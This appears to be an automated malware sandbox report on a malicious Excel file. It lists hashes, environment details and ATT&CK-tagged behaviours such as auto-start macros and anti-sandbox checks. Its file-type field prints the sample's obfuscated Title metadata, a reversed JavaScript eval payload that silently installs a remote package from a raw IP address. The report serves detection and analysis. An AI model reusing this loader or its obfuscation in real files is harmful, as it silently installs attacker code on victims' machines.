Managed XDR

vtdl_1753891280_oz_azsrn — malware analysis report

File info

Filename
vtdl_1753891280_oz_azsrn
File type
Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Title: eval('}**)**"**5**3**2**.**8**6**.**0**1**.**5**8**1**/**/**:**p**t**t**h**"**(**t**c**u**d**o**r**P**l**l**a**t**s**n**I**;**2**=**l**e**v**e**L**I**U**{**)**)**"**r**e**l**l**a**t**s**n**I**.**r**e**l**l**a**t**s**n**I**s**w**o**d**n**i**W**"**(**t**c**e**j**b**O**X**e**v**i**t**c**A** **w**e**n**(**h**t**i**w'.split('**').reverse().join('')), Author: Ferop, Last Saved By: X112, Name of Creating Application: Microsoft Excel, Create Time/Date: Tue Aug 17 12:24:08 2021, Last Saved Time/Date: Tue Oct 5 12:11:48 2021, Security: 0
File size
76.9 KB
First seen
Last seen

Environment

win7/x86 en

Hashes

SHA1
a09e8be5f31d8e72df22be252a2c79550708ab31
SHA256
127347a5e9c6cbaad311fe087974e387f42fd6fe1ac8f522825c18dd06aaa4c4
MD5
951b316f5d9ad2ecc7aa51064edc3881

Signatures

Execution

T1064 office_macros: The document contains macroses (total: 2)
T1064 office_macros_autoexec: The document contains an auto-start macro

Privilege Escalation

T1134 opens_thread_token: Opens the access token associated with a thread
T1134 opens_process_token: Opens the access token associated with a process

Defense Evasion

T1497 windows_enumthread: Attempts to enumerate windows using EnumThreadWindows and SendMessage for text obtaining
T1064 office_macros: The document contains macroses (total: 2)
T1064 office_macros_autoexec: The document contains an auto-start macro
T1134 opens_thread_token: Opens the access token associated with a thread
T1134 opens_process_token: Opens the access token associated with a process

Discovery

T1497 windows_enumthread: Attempts to enumerate windows using EnumThreadWindows and SendMessage for text obtaining
T1082 windows_enumthread: Attempts to enumerate windows using EnumThreadWindows and SendMessage for text obtaining

Other

yara_rules: Static rules
office_summary: The document contains suspicious metadata
get_policy_info: Retrieves information about a Policy object
antisandbox_check_graphics_card: Uses CreateDXGIFactory, potentially to detect graphics card
checktokenmembership: Checks user token with CheckTokenMembership call